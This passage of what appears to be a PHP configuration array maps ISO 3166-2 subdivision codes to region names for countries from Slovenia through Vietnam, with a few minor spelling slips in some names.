            'SI-051' => "Kozje",
            'SI-048' => "Kočevje",
            'SI-052' => "Kranj",
            'SI-053' => "Kranjska Gora",
            'SI-166' => "Križevci",
            'SI-054' => "Krško",
            'SI-055' => "Kungota",
            'SI-056' => "Kuzma",
            'SI-057' => "Laško",
            'SI-058' => "Lenart",
            'SI-059' => "Lendava/Lendva",
            'SI-060' => "Litija",
            'SI-061' => "Ljubljana",
            'SI-062' => "Ljubno",
            'SI-063' => "Ljutomer",
            'SI-208' => "Log-Dragomer",
            'SI-064' => "Logatec",
            'SI-167' => "Lovrenc na Pohorju",
            'SI-065' => "Loška dolina",
            'SI-066' => "Loški Potok",
            'SI-068' => "Lukovica",
            'SI-067' => "Luče",
            'SI-069' => "Majšperk",
            'SI-198' => "Makole",
            'SI-070' => "Maribor",
            'SI-168' => "Markovci",
            'SI-071' => "Medvode",
            'SI-072' => "Mengeš",
            'SI-073' => "Metlika",
            'SI-074' => "Mežica",
            'SI-169' => "Miklavž na Dravskem polju",
            'SI-075' => "Miren-Kostanjevica",
            'SI-170' => "Mirna Peč",
            'SI-076' => "Mislinja",
            'SI-199' => "Mokronog-Trebelno",
            'SI-078' => "Moravske Toplice",
            'SI-077' => "Moravče",
            'SI-079' => "Mozirje",
            'SI-080' => "Murska Sobota",
            'SI-081' => "Muta",
            'SI-082' => "Naklo",
            'SI-083' => "Nazarje",
            'SI-084' => "Nova Gorica",
            'SI-085' => "Novo mesto",
            'SI-086' => "Odranci",
            'SI-171' => "Oplotnica",
            'SI-087' => "Ormož",
            'SI-088' => "Osilnica",
            'SI-089' => "Pesnica",
            'SI-090' => "Piran/Pirano",
            'SI-091' => "Pivka",
            'SI-172' => "Podlehnik",
            'SI-093' => "Podvelka",
            'SI-092' => "Podčetrtek",
            'SI-200' => "Poljčane",
            'SI-173' => "Polzela",
            'SI-094' => "Postojna",
            'SI-174' => "Prebold",
            'SI-095' => "Preddvor",
            'SI-175' => "Prevalje",
            'SI-096' => "Ptuj",
            'SI-097' => "Puconci",
            'SI-100' => "Radenci",
            'SI-099' => "Radeče",
            'SI-101' => "Radlje ob Dravi",
            'SI-102' => "Radovljica",
            'SI-103' => "Ravne na Koroškem",
            'SI-176' => "Razkrižje",
            'SI-098' => "Rače-Fram",
            'SI-201' => "Renče-Vogrsko",
            'SI-209' => "Rečica ob Savinji",
            'SI-104' => "Ribnica",
            'SI-177' => "Ribnica na Pohorju",
            'SI-107' => "Rogatec",
            'SI-106' => "Rogaška Slatina",
            'SI-105' => "Rogašovci",
            'SI-108' => "Ruše",
            'SI-178' => "Selnica ob Dravi",
            'SI-109' => "Semič",
            'SI-110' => "Sevnica",
            'SI-111' => "Sežana",
            'SI-112' => "Slovenj Gradec",
            'SI-113' => "Slovenska Bistrica",
            'SI-114' => "Slovenske Konjice",
            'SI-179' => "Sodražica",
            'SI-180' => "Solčava",
            'SI-202' => "Središče ob Dravi",
            'SI-115' => "Starče",
            'SI-203' => "Straža",
            'SI-181' => "Sveta Ana",
            'SI-182' => "Sveta Andraž v Slovenskih Goricah",
            'SI-204' => "Sveta Trojica v Slovenskih Goricah",
            'SI-116' => "Sveti Jurij",
            'SI-210' => "Sveti Jurij v Slovenskih Goricah",
            'SI-205' => "Sveti Tomaž",
            'SI-184' => "Tabor",
            'SI-010' => "Tišina",
            'SI-128' => "Tolmin",
            'SI-129' => "Trbovlje",
            'SI-130' => "Trebnje",
            'SI-185' => "Trnovska vas",
            'SI-186' => "Trzin",
            'SI-131' => "Tržič",
            'SI-132' => "Turnišče",
            'SI-133' => "Velenje",
            'SI-187' => "Velika Polana",
            'SI-134' => "Velike Lašče",
            'SI-188' => "Veržej",
            'SI-135' => "Videm",
            'SI-136' => "Vipava",
            'SI-137' => "Vitanje",
            'SI-138' => "Vodice",
            'SI-139' => "Vojnik",
            'SI-189' => "Vransko",
            'SI-140' => "Vrhnika",
            'SI-141' => "Vuzenica",
            'SI-142' => "Zagorje ob Savi",
            'SI-143' => "Zavrč",
            'SI-144' => "Zreče",
            'SI-015' => "Črenšovci",
            'SI-016' => "Črna na Koroškem",
            'SI-017' => "Črnomelj",
            'SI-033' => "Šalovci",
            'SI-183' => "Šempeter-Vrtojba",
            'SI-118' => "Šentilj",
            'SI-119' => "Šentjernej",
            'SI-120' => "Šentjur",
            'SI-211' => "Šentrupert",
            'SI-117' => "Šenčur",
            'SI-121' => "Škocjan",
            'SI-122' => "Škofja Loka",
            'SI-123' => "Škofljica",
            'SI-124' => "Šmarje pri Jelšah",
            'SI-206' => "Šmarjeske Topliče",
            'SI-125' => "Šmartno ob Paki",
            'SI-194' => "Šmartno pri Litiji",
            'SI-126' => "Šoštanj",
            'SI-127' => "Štore",
            'SI-190' => "Žalec",
            'SI-146' => "Železniki",
            'SI-191' => "Žetale",
            'SI-147' => "Žiri",
            'SI-192' => "Žirovnica",
            'SI-193' => "Žužemberk",
        ],
        "South Africa"         => [
            'ZA-EC' => "Eastern Cape",
            'ZA-FS' => "Free State",
            'ZA-GT' => "Gauteng",
            'ZA-NL' => "Kwazulu-Natal",
            'ZA-LP' => "Limpopo",
            'ZA-MP' => "Mpumalanga",
            'ZA-NW' => "North-West (South Africa)",
            'ZA-NC' => "Northern Cape",
            'ZA-WC' => "Western Cape",
        ],
        "Spain"                => [
            'ES-C'  => "A Coruña",
            'ES-AB' => "Albacete",
            'ES-A'  => "Alicante",
            'ES-AL' => "Almería",
            'ES-AN' => "Andalucía",
            'ES-AR' => "Aragón",
            'ES-O'  => "Asturias",
            'ES-AS' => "Asturias, Principado de",
            'ES-BA' => "Badajoz",
            'ES-PM' => "Balears",
            'ES-B'  => "Barcelona",
            'ES-BU' => "Burgos",
            'ES-CN' => "Canarias",
            'ES-S'  => "Cantabria",
            'ES-CS' => "Castellón",
            'ES-CL' => "Castilla y León",
            'ES-CM' => "Castilla-La Mancha",
            'ES-CT' => "Catalunya",
            'ES-CE' => "Ceuta",
            'ES-CR' => "Ciudad Real",
            'ES-CU' => "Cuenca",
            'ES-CC' => "Cáceres",
            'ES-CA' => "Cádiz",
            'ES-CO' => "Córdoba",
            'ES-EX' => "Extremadura",
            'ES-GA' => "Galicia",
            'ES-GI' => "Girona",
            'ES-GR' => "Granada",
            'ES-GU' => "Guadalajara",
            'ES-SS' => "Guipúzcoa / Gipuzkoa",
            'ES-H'  => "Huelva",
            'ES-HU' => "Huesca",
            'ES-IB' => "Illes Balears",
            'ES-J'  => "Jaén",
            'ES-LO' => "La Rioja",
            'ES-GC' => "Las Palmas",
            'ES-LE' => "León",
            'ES-L'  => "Lleida",
            'ES-LU' => "Lugo",
            'ES-M'  => "Madrid",
            'ES-MD' => "Madrid, Comunidad de",
            'ES-ML' => "Melilla",
            'ES-MU' => "Murcia",
            'ES-MC' => "Murcia, Región de",
            'ES-MA' => "Málaga",
            'ES-NA' => "Navarra / Nafarroa",
            'ES-NC' => "Navarra, Comunidad Foral de / Nafarroako Foru Komunitatea",
            'ES-OR' => "Ourense",
            'ES-P'  => "Palencia",
            'ES-PV' => "País Vasco / Euskal Herria",
            'ES-PO' => "Pontevedra",
            'ES-SA' => "Salamanca",
            'ES-TF' => "Santa Cruz de Tenerife",
            'ES-SG' => "Segovia",
            'ES-SE' => "Sevilla",
            'ES-SO' => "Soria",
            'ES-T'  => "Tarragona",
            'ES-TE' => "Teruel",
            'ES-TO' => "Toledo",
            'ES-V'  => "Valencia / València",
            'ES-VC' => "Valenciana, Comunidad / Valenciana, Comunitat",
            'ES-VA' => "Valladolid",
            'ES-BI' => "Vizcayaa / Bizkaia",
            'ES-ZA' => "Zamora",
            'ES-Z'  => "Zaragoza",
            'ES-VI' => "Álava",
            'ES-AV' => "Ávila",
        ],
        "Sweden"               => [
            'SE-K'  => "Blekinge län",
            'SE-W'  => "Dalarnas län",
            'SE-I'  => "Gotlands län",
            'SE-X'  => "Gävleborgs län",
            'SE-N'  => "Hallands län",
            'SE-Z'  => "Jämtlande län",
            'SE-F'  => "Jönköpings län",
            'SE-H'  => "Kalmar län",
            'SE-G'  => "Kronobergs län",
            'SE-BD' => "Norrbottens län",
            'SE-M'  => "Skåne län",
            'SE-AB' => "Stockholms län",
            'SE-D'  => "Södermanlands län",
            'SE-C'  => "Uppsala län",
            'SE-S'  => "Värmlands län",
            'SE-AC' => "Västerbottens län",
            'SE-Y'  => "Västernorrlands län",
            'SE-U'  => "Västmanlands län",
            'SE-O'  => "Västra Götalands län",
            'SE-T'  => "Örebro län",
            'SE-E'  => "Östergötlands län",
        ],
        "Switzerland"          => [
            'CH-AG' => "Aargau",
            'CH-AR' => "Appenzell Ausserrhoden",
            'CH-AI' => "Appenzell Innerrhoden",
            'CH-BL' => "Basel-Landschaft",
            'CH-BS' => "Basel-Stadt",
            'CH-BE' => "Bern",
            'CH-FR' => "Fribourg",
            'CH-GE' => "Genève",
            'CH-GL' => "Glarus",
            'CH-GR' => "Graubünden",
            'CH-JU' => "Jura",
            'CH-LU' => "Luzern",
            'CH-NE' => "Neuchâtel",
            'CH-NW' => "Nidwalden",
            'CH-OW' => "Obwalden",
            'CH-SG' => "Sankt Gallen",
            'CH-SH' => "Schaffhausen",
            'CH-SZ' => "Schwyz",
            'CH-SO' => "Solothurn",
            'CH-TG' => "Thurgau",
            'CH-TI' => "Ticino",
            'CH-UR' => "Uri",
            'CH-VS' => "Valais",
            'CH-VD' => "Vaud",
            'CH-ZG' => "Zug",
            'CH-ZH' => "Zürich",
        ],
        "Taiwan"               => [
            'TW-CHA' => "Changhua",
            'TW-CYI' => "Chiay City",
            'TW-CYQ' => "Chiayi",
            'TW-HSQ' => "Hsinchu",
            'TW-HSZ' => "Hsinchui City",
            'TW-HUA' => "Hualien",
            'TW-ILA' => "Ilan",
            'TW-KHQ' => "Kaohsiung",
            'TW-KHH' => "Kaohsiung City",
            'TW-KEE' => "Keelung City",
            'TW-MIA' => "Miaoli",
            'TW-NAN' => "Nantou",
            'TW-PEN' => "Penghu",
            'TW-PIF' => "Pingtung",
            'TW-TXQ' => "Taichung",
            'TW-TXG' => "Taichung City",
            'TW-TNQ' => "Tainan",
            'TW-TNN' => "Tainan City",
            'TW-TPQ' => "Taipei",
            'TW-TPE' => "Taipei City",
            'TW-TTT' => "Taitung",
            'TW-TAO' => "Taoyuan",
            'TW-YUN' => "Yunlin",
        ],
        "Thailand"             => [
            'TH-37' => "Amnat Charoen",
            'TH-15' => "Ang Thong",
            'TH-31' => "Buri Ram",
            'TH-24' => "Chachoengsao",
            'TH-18' => "Chai Nat",
            'TH-36' => "Chaiyaphum",
            'TH-22' => "Chanthaburi",
            'TH-50' => "Chiang Mai",
            'TH-57' => "Chiang Rai",
            'TH-20' => "Chon Buri",
            'TH-86' => "Chumphon",
            'TH-46' => "Kalasin",
            'TH-62' => "Kamphaeng Phet",
            'TH-71' => "Kanchanaburi",
            'TH-40' => "Khon Kaen",
            'TH-81' => "Krabi",
            'TH-10' => "Krung Thep Maha Nakhon Bangkok",
            'TH-52' => "Lampang",
            'TH-51' => "Lamphun",
            'TH-42' => "Loei",
            'TH-16' => "Lop Buri",
            'TH-58' => "Mae Hong Son",
            'TH-44' => "Maha Sarakham",
            'TH-49' => "Mukdahan",
            'TH-26' => "Nakhon Nayok",
            'TH-73' => "Nakhon Pathom",
            'TH-48' => "Nakhon Phanom",
            'TH-30' => "Nakhon Ratchasima",
            'TH-60' => "Nakhon Sawan",
            'TH-80' => "Nakhon Si Thammarat",
            'TH-55' => "Nan",
            'TH-96' => "Narathiwat",
            'TH-39' => "Nong Bua Lam Phu",
            'TH-43' => "Nong Khai",
            'TH-12' => "Nonthaburi",
            'TH-13' => "Pathum Thani",
            'TH-94' => "Pattani",
            'TH-82' => "Phangnga",
            'TH-93' => "Phatthalung",
            'TH-S'  => "Phatthaya",
            'TH-56' => "Phayao",
            'TH-67' => "Phetchabun",
            'TH-76' => "Phetchaburi",
            'TH-66' => "Phichit",
            'TH-65' => "Phitsanulok",
            'TH-14' => "Phra Nakhon Si Ayutthaya",
            'TH-54' => "Phrae",
            'TH-83' => "Phuket",
            'TH-25' => "Prachin Buri",
            'TH-77' => "Prachuap Khiri Khan",
            'TH-85' => "Ranong",
            'TH-70' => "Ratchaburi",
            'TH-21' => "Rayong",
            'TH-45' => "Roi Et",
            'TH-27' => "Sa Kaeo",
            'TH-47' => "Sakon Nakhon",
            'TH-11' => "Samut Prakan",
            'TH-74' => "Samut Sakhon",
            'TH-75' => "Samut Songkhram",
            'TH-19' => "Saraburi",
            'TH-91' => "Satun",
            'TH-33' => "Si Sa Ket",
            'TH-17' => "Sing Buri",
            'TH-90' => "Songkhla",
            'TH-64' => "Sukhothai",
            'TH-72' => "Suphan Buri",
            'TH-84' => "Surat Thani",
            'TH-32' => "Surin",
            'TH-63' => "Tak",
            'TH-92' => "Trang",
            'TH-23' => "Trat",
            'TH-34' => "Ubon Ratchathani",
            'TH-41' => "Udon Thani",
            'TH-61' => "Uthai Thani",
            'TH-53' => "Uttaradit",
            'TH-95' => "Yala",
            'TH-35' => "Yasothon",
        ],
        "Turkey"               => [
            'TR-01' => "Adana",
            'TR-02' => "Adıyaman",
            'TR-03' => "Afyon",
            'TR-68' => "Aksaray",
            'TR-05' => "Amasya",
            'TR-06' => "Ankara",
            'TR-07' => "Antalya",
            'TR-75' => "Ardahan",
            'TR-08' => "Artvin",
            'TR-09' => "Aydın",
            'TR-04' => "Ağrı",
            'TR-10' => "Balıkesir",
            'TR-74' => "Bartın",
            'TR-72' => "Batman",
            'TR-69' => "Bayburt",
            'TR-11' => "Bilecik",
            'TR-12' => "Bingöl",
            'TR-13' => "Bitlis",
            'TR-14' => "Bolu",
            'TR-15' => "Burdur",
            'TR-16' => "Bursa",
            'TR-20' => "Denizli",
            'TR-21' => "Diyarbakır",
            'TR-81' => "Düzce",
            'TR-22' => "Edirne",
            'TR-23' => "Elazığ",
            'TR-24' => "Erzincan",
            'TR-25' => "Erzurum",
            'TR-26' => "Eskişehir",
            'TR-27' => "Gaziantep",
            'TR-28' => "Giresun",
            'TR-29' => "Gümüşhane",
            'TR-30' => "Hakkâri",
            'TR-31' => "Hatay",
            'TR-32' => "Isparta",
            'TR-76' => "Iğdır",
            'TR-46' => "Kahramanmaraş",
            'TR-78' => "Karabük",
            'TR-70' => "Karaman",
            'TR-36' => "Kars",
            'TR-37' => "Kastamonu",
            'TR-38' => "Kayseri",
            'TR-79' => "Kilis",
            'TR-41' => "Kocaeli",
            'TR-42' => "Konya",
            'TR-43' => "Kütahya",
            'TR-39' => "Kırklareli",
            'TR-71' => "Kırıkkale",
            'TR-40' => "Kırşehir",
            'TR-44' => "Malatya",
            'TR-45' => "Manisa",
            'TR-47' => "Mardin",
            'TR-48' => "Muğla",
            'TR-49' => "Muş",
            'TR-50' => "Nevşehir",
            'TR-51' => "Niğde",
            'TR-52' => "Ordu",
            'TR-80' => "Osmaniye",
            'TR-53' => "Rize",
            'TR-54' => "Sakarya",
            'TR-55' => "Samsun",
            'TR-56' => "Siirt",
            'TR-57' => "Sinop",
            'TR-58' => "Sivas",
            'TR-59' => "Tekirdağ",
            'TR-60' => "Tokat",
            'TR-61' => "Trabzon",
            'TR-62' => "Tunceli",
            'TR-64' => "Uşak",
            'TR-65' => "Van",
            'TR-77' => "Yalova",
            'TR-66' => "Yozgat",
            'TR-67' => "Zonguldak",
            'TR-17' => "Çanakkale",
            'TR-18' => "Çankırı",
            'TR-19' => "Çorum",
            'TR-34' => "İstanbul",
            'TR-35' => "İzmir",
            'TR-33' => "İçel",
            'TR-63' => "Şanlıurfa",
            'TR-73' => "Şırnak",
        ],
        "Ukraine"              => [
            'UA-71' => "Cherkas'ka Oblast'",
            'UA-74' => "Chernihivs'ka Oblast'",
            'UA-77' => "Chernivets'ka Oblast'",
            'UA-12' => "Dnipropetrovs'ka Oblast'",
            'UA-14' => "Donets'ka Oblast'",
            'UA-26' => "Ivano-Frankivs'ka Oblast'",
            'UA-63' => "Kharkivs'ka Oblast'",
            'UA-65' => "Khersons'ka Oblast'",
            'UA-68' => "Khmel'nyts'ka Oblast'",
            'UA-35' => "Kirovohrads'ka Oblast'",
            'UA-32' => "Kyïvs'ka Oblast'",
            'UA-30' => "Kyïvs'ka mis'ka rada",
            'UA-46' => "L'vivs'ka Oblast'",
            'UA-09' => "Luhans'ka Oblast'",
            'UA-48' => "Mykolaïvs'ka Oblast'",
            'UA-51' => "Odes'ka Oblast'",
            'UA-53' => "Poltavs'ka Oblast'",
            'UA-43' => "Respublika Krym",
            'UA-56' => "Rivnens'ka Oblast'",
            'UA-40' => "Sevastopol",
            'UA-59' => "Sums 'ka Oblast'",
            'UA-61' => "Ternopil's'ka Oblast'",
            'UA-05' => "Vinnyts'ka Oblast'",
            'UA-07' => "Volyns'ka Oblast'",
            'UA-21' => "Zakarpats'ka Oblast'",
            'UA-23' => "Zaporiz'ka Oblast'",
            'UA-18' => "Zhytomyrs'ka Oblast'",
        ],
        "United Arab Emirates" => [
            'AE-AJ' => "'Ajmān",
            'AE-AZ' => "Abū Ȥaby [Abu Dhabi]",
            'AE-FU' => "Al Fujayrah",
            'AE-SH' => "Ash Shāriqah",
            'AE-DU' => "Dubayy",
            'AE-RK' => "Ra’s al Khaymah",
            'AE-UQ' => "Umm al Qaywayn",
        ],
        "United Kingdom"       => [
            'GB-ABE' => "Aberdeen City",
            'GB-ABD' => "Aberdeenshire",
            'GB-ANS' => "Angus",
            'GB-ANT' => "Antrim",
            'GB-ARD' => "Ards",
            'GB-AGB' => "Argyll and Bute",
            'GB-ARM' => "Armagh",
            'GB-BLA' => "Ballymena",
            'GB-BLY' => "Ballymoney",
            'GB-BNB' => "Banbridge",
            'GB-BDG' => "Barking and Dagenham",
            'GB-BNE' => "Barnet",
            'GB-BNS' => "Barnsley",
            'GB-BAS' => "Bath and North East Somerset",
            'GB-BDF' => "Bedford",
            'GB-BFS' => "Belfast",
            'GB-BEX' => "Bexley",
            'GB-BIR' => "Birmingham",
            'GB-BBD' => "Blackburn with Darwen",
            'GB-BPL' => "Blackpool",
            'GB-BGW' => "Blaenau Gwent",
            'GB-BOL' => "Bolton",
            'GB-BMH' => "Bournemouth",
            'GB-BRC' => "Bracknell Forest",
            'GB-BRD' => "Bradford",
            'GB-BEN' => "Brent",
            'GB-BGE' => "Bridgend (Pen-y-bont ar Ogwr)",
            'GB-BNH' => "Brighton and Hove",
            'GB-BST' => "Bristol, City of",
            'GB-BRY' => "Bromley",
            'GB-BKM' => "Buckinghamshire",
            'GB-BUR' => "Bury",
            'GB-CAY' => "Caerphilly (Caerffili)",
            'GB-CLD' => "Calderdale",
            'GB-CAM' => "Cambridgeshire",
            'GB-CMD' => "Camden",
            'GB-CRF' => "Cardiff (Caerdydd)",
            'GB-CMN' => "Carmarthenshire (Sir Gaerfyrddin)",
            'GB-CKF' => "Carrickfergus",
            'GB-CSR' => "Castlereagh",
            'GB-CBF' => "Central Bedfordshire",
            'GB-CGN' => "Ceredigion (Sir Ceredigion)",
            'GB-CHE' => "Cheshire East",
            'GB-CHW' => "Cheshire West and Chester",
            'GB-CLK' => "Clackmannanshire",
            'GB-CLR' => "Coleraine",
            'GB-CWY' => "Conwy",
            'GB-CKT' => "Cookstown",
            'GB-CON' => "Cornwall",
            'GB-COV' => "Coventry",
            'GB-CGV' => "Craigavon",
            'GB-CRY' => "Croydon",
            'GB-CMA' => "Cumbria",
            'GB-DAL' => "Darlington",
            'GB-DEN' => "Denbighshire (Sir Ddinbych)",
            'GB-DER' => "Derby",
            'GB-DBY' => "Derbyshire",
            'GB-DRY' => "Derry",
            'GB-DEV' => "Devon",
            'GB-DNC' => "Doncaster",
            'GB-DOR' => "Dorset",
            'GB-DOW' => "Down",
            'GB-DUD' => "Dudley",
            'GB-DGY' => "Dumfries and Galloway",
            'GB-DND' => "Dundee City",
            'GB-DGN' => "Dungannon",
            'GB-DUR' => "Durham",
            'GB-EAL' => "Ealing",
            'GB-EAY' => "East Ayrshire",
            'GB-EDU' => "East Dunbartonshire",
            'GB-ELN' => "East Lothian",
            'GB-ERW' => "East Renfrewshire",
            'GB-ERY' => "East Riding of Yorkshire",
            'GB-ESX' => "East Sussex",
            'GB-EDH' => "Edinburgh, City of",
            'GB-ELS' => "Eilean Siar",
            'GB-ENF' => "Enfield",
            'GB-ENG' => "England",
            'GB-EAW' => "England and Wales",
            'GB-ESS' => "Essex",
            'GB-FAL' => "Falkirk",
            'GB-FER' => "Fermanagh",
            'GB-FIF' => "Fife",
            'GB-FLN' => "Flintshire (Sir y Fflint)",
            'GB-GAT' => "Gateshead",
            'GB-GLG' => "Glasgow City",
            'GB-GLS' => "Gloucestershire",
            'GB-GBN' => "Great Britain",
            'GB-GRE' => "Greenwich",
            'GB-GWN' => "Gwynedd",
            'GB-HCK' => "Hackney",
            'GB-HAL' => "Halton",
            'GB-HMF' => "Hammersmith and Fulham",
            'GB-HAM' => "Hampshire",
            'GB-HRY' => "Haringey",
            'GB-HRW' => "Harrow",
            'GB-HPL' => "Hartlepool",
            'GB-HAV' => "Havering",
            'GB-HEF' => "Herefordshire",
            'GB-HRT' => "Hertfordshire",
            'GB-HLD' => "Highland",
            'GB-HIL' => "Hillingdon",
            'GB-HNS' => "Hounslow",
            'GB-IVC' => "Inverclyde",
            'GB-AGY' => "Isle of Anglesey (Sir Ynys Môn)",
            'GB-IOW' => "Isle of Wight",
            'GB-ISL' => "Islington",
            'GB-KEC' => "Kensington and Chelsea",
            'GB-KEN' => "Kent",
            'GB-KHL' => "Kingston upon Hull",
            'GB-KTT' => "Kingston upon Thames",
            'GB-KIR' => "Kirklees",
            'GB-KWL' => "Knowsley",
            'GB-LBH' => "Lambeth",
            'GB-LAN' => "Lancashire",
            'GB-LRN' => "Larne",
            'GB-LDS' => "Leeds",
            'GB-LCE' => "Leicester",
            'GB-LEC' => "Leicestershire",
            'GB-LEW' => "Lewisham",
            'GB-LMV' => "Limavady",
            'GB-LIN' => "Lincolnshire",
            'GB-LSB' => "Lisburn",
            'GB-LIV' => "Liverpool",
            'GB-LND' => "London, City of",
            'GB-LUT' => "Luton",
            'GB-MFT' => "Magherafelt",
            'GB-MAN' => "Manchester",
            'GB-MDW' => "Medway",
            'GB-MTY' => "Merthyr Tydfil (Merthyr Tudful)",
            'GB-MRT' => "Merton",
            'GB-MDB' => "Middlesbrough",
            'GB-MLN' => "Midlothian",
            'GB-MIK' => "Milton Keynes",
            'GB-MON' => "Monmouthshire (Sir Fynwy)",
            'GB-MRY' => "Moray",
            'GB-MYL' => "Moyle",
            'GB-NTL' => "Neath Port Talbot (Castell-nedd Port Talbot)",
            'GB-NET' => "Newcastle upon Tyne",
            'GB-NWM' => "Newham",
            'GB-NWP' => "Newport (Casnewydd)",
            'GB-NYM' => "Newry and Mourne",
            'GB-NTA' => "Newtownabbey",
            'GB-NFK' => "Norfolk",
            'GB-NAY' => "North Ayrshire",
            'GB-NDN' => "North Down",
            'GB-NEL' => "North East Lincolnshire",
            'GB-NLK' => "North Lanarkshire",
            'GB-NLN' => "North Lincolnshire",
            'GB-NSM' => "North Somerset",
            'GB-NTY' => "North Tyneside",
            'GB-NYK' => "North Yorkshire",
            'GB-NTH' => "Northamptonshire",
            'GB-NIR' => "Northern Ireland",
            'GB-NBL' => "Northumberland",
            'GB-NGM' => "Nottingham",
            'GB-NTT' => "Nottinghamshire",
            'GB-OLD' => "Oldham",
            'GB-OMH' => "Omagh",
            'GB-ORK' => "Orkney Islands",
            'GB-OXF' => "Oxfordshire",
            'GB-PEM' => "Pembrokeshire (Sir Benfro)",
            'GB-PKN' => "Perth and Kinross",
            'GB-PTE' => "Peterborough",
            'GB-PLY' => "Plymouth",
            'GB-POL' => "Poole",
            'GB-POR' => "Portsmouth",
            'GB-POW' => "Powys",
            'GB-RDG' => "Reading",
            'GB-RDB' => "Redbridge",
            'GB-RCC' => "Redcar and Cleveland",
            'GB-RFW' => "Renfrewshire",
            'GB-RCT' => "Rhondda, Cynon, Taff (Rhondda, Cynon, Taf)",
            'GB-RIC' => "Richmond upon Thames",
            'GB-RCH' => "Rochdale",
            'GB-ROT' => "Rotherham",
            'GB-RUT' => "Rutland",
            'GB-SLF' => "Salford",
            'GB-SAW' => "Sandwell",
            'GB-SCT' => "Scotland",
            'GB-SCB' => "Scottish Borders, The",
            'GB-SFT' => "Sefton",
            'GB-SHF' => "Sheffield",
            'GB-ZET' => "Shetland Islands",
            'GB-SHR' => "Shropshire",
            'GB-SLG' => "Slough",
            'GB-SOL' => "Solihull",
            'GB-SOM' => "Somerset",
            'GB-SAY' => "South Ayrshire",
            'GB-SGC' => "South Gloucestershire",
            'GB-SLK' => "South Lanarkshire",
            'GB-STY' => "South Tyneside",
            'GB-STH' => "Southampton",
            'GB-SOS' => "Southend-on-Sea",
            'GB-SWK' => "Southwark",
            'GB-SHN' => "St. Helens",
            'GB-STS' => "Staffordshire",
            'GB-STG' => "Stirling",
            'GB-SKP' => "Stockport",
            'GB-STT' => "Stockton-on-Tees",
            'GB-STE' => "Stoke-on-Trent",
            'GB-STB' => "Strabane",
            'GB-SFK' => "Suffolk",
            'GB-SND' => "Sunderland",
            'GB-SRY' => "Surrey",
            'GB-STN' => "Sutton",
            'GB-SWA' => "Swansea (Abertawe)",
            'GB-SWD' => "Swindon",
            'GB-TAM' => "Tameside",
            'GB-TFW' => "Telford and Wrekin",
            'GB-THR' => "Thurrock",
            'GB-TOB' => "Torbay",
            'GB-TOF' => "Torfaen (Tor-faen)",
            'GB-TWH' => "Tower Hamlets",
            'GB-TRF' => "Trafford",
            'GB-UKM' => "United Kingdom",
            'GB-VGL' => "Vale of Glamorgan, The (Bro Morgannwg)",
            'GB-WKF' => "Wakefield",
            'GB-WLS' => "Wales",
            'GB-WLL' => "Walsall",
            'GB-WFT' => "Waltham Forest",
            'GB-WND' => "Wandsworth",
            'GB-WRT' => "Warrington",
            'GB-WAR' => "Warwickshire",
            'GB-WBK' => "West Berkshire",
            'GB-WDU' => "West Dunbartonshire",
            'GB-WLN' => "West Lothian",
            'GB-WSX' => "West Sussex",
            'GB-WSM' => "Westminster",
            'GB-WGN' => "Wigan",
            'GB-WNM' => "Windsor and Maidenhead",
            'GB-WRL' => "Wirral",
            'GB-WOK' => "Wokingham",
            'GB-WLV' => "Wolverhampton",
            'GB-WOR' => "Worcestershire",
            'GB-WRX' => "Wrexham (Wrecsam)",
            'GB-YOR' => "York",
        ],
        "United States"        => [
            'US-AL' => "Alabama",
            'US-AK' => "Alaska",
            'US-AS' => "American Samoa, Samoa Americana",
            'US-AZ' => "Arizona",
            'US-AR' => "Arkansas",
            'US-CA' => "California",
            'US-CO' => "Colorado",
            'US-CT' => "Connecticut",
            'US-DE' => "Delaware",
            'US-DC' => "District of Columbia, Disricte de Columbia",
            'US-FL' => "Florida",
            'US-GA' => "Georgia, Geòrgia",
            'US-GU' => "Guam",
            'US-HI' => "Hawaii",
            'US-ID' => "Idaho",
            'US-IL' => "Illinois",
            'US-IN' => "Indiana",
            'US-IA' => "Iowa",
            'US-KS' => "Kansas",
            'US-KY' => "Kentucky",
            'US-LA' => "Louisiana",
            'US-ME' => "Maine",
            'US-MD' => "Maryland",
            'US-MA' => "Massachusetts",
            'US-MI' => "Michigan",
            'US-MN' => "Minnesota",
            'US-MS' => "Mississippi",
            'US-MO' => "Missouri",
            'US-MT' => "Montana",
            'US-NE' => "Nebraska",
            'US-NV' => "Nevada",
            'US-NH' => "New Hampshire",
            'US-NJ' => "New Jersey",
            'US-NM' => "New Mexico",
            'US-NY' => "New York",
            'US-NC' => "North Carolina",
            'US-ND' => "North Dakota",
            'US-MP' => "Northern Mariana Islands, Illes Marianes del Nord",
            'US-OH' => "Ohio",
            'US-OK' => "Oklahoma",
            'US-OR' => "Oregon",
            'US-PA' => "Pennsylvania",
            'US-PR' => "Puerto Rico",
            'US-RI' => "Rhode Island",
            'US-SC' => "South Carolina",
            'US-SD' => "South Dakota",
            'US-TN' => "Tennessee",
            'US-TX' => "Texas",
            'US-UM' => "United States Minor Outlying Islands, Illes Perifèriques Menors dels EUA",
            'US-UT' => "Utah",
            'US-VT' => "Vermont",
            'US-VI' => "Virgin Islands, Illes Verge",
            'US-VA' => "Virginia",
            'US-WA' => "Washington",
            'US-WV' => "West Virginia",
            'US-WI' => "Wisconsin",
            'US-WY' => "Wyoming",
        ],
        "Vietnam"              => [
            'VN-44' => "An Giang",
            'VN-43' => "Bà Rịa - Vũng Tàu",
            'VN-57' => "Bình Dương",
            'VN-58' => "Bình Phước",
            'VN-40' => "Bình Thuận",
            'VN-31' => "Bình Định",
            'VN-55' => "Bạc Liêu",
            'VN-54' => "Bắc Giang",
            'VN-53' => "Bắc Kạn",
            'VN-56' => "Bắc Ninh",
            'VN-50' => "Bến Tre",
            'VN-04' => "Cao Bằng",
            'VN-59' => "Cà Mau",
            'VN-48' => "Cần Thơ",
            'VN-30' => "Gia Lai",
            'VN-14' => "Hoà Bình",
            'VN-03' => "Hà Giang",
            'VN-63' => "Hà Nam",
            'VN-64' => "Hà Nội, thủ đô",
            'VN-15' => "Hà Tây",
            'VN-23' => "Hà Tỉnh",
            'VN-66' => "Hưng Yên",
            'VN-61' => "Hải Duong",
            'VN-62' => "Hải Phòng, thành phố",
            'VN-73' => "Hậu Giang",
            'VN-65' => "Hồ Chí Minh, thành phố [Sài Gòn]",
            'VN-34' => "Khánh Hòa",
            'VN-47' => "Kiên Giang",
            'VN-28' => "Kon Tum",
            'VN-01' => "Lai Châu",
            'VN-41' => "Long An",
            'VN-02' => "Lào Cai",
            'VN-35' => "Lâm Đồng",
            'VN-09' => "Lạng Sơn",
            'VN-67' => "Nam Định",
            'VN-22' => "Nghệ An",
            'VN-18' => "Ninh Bình",
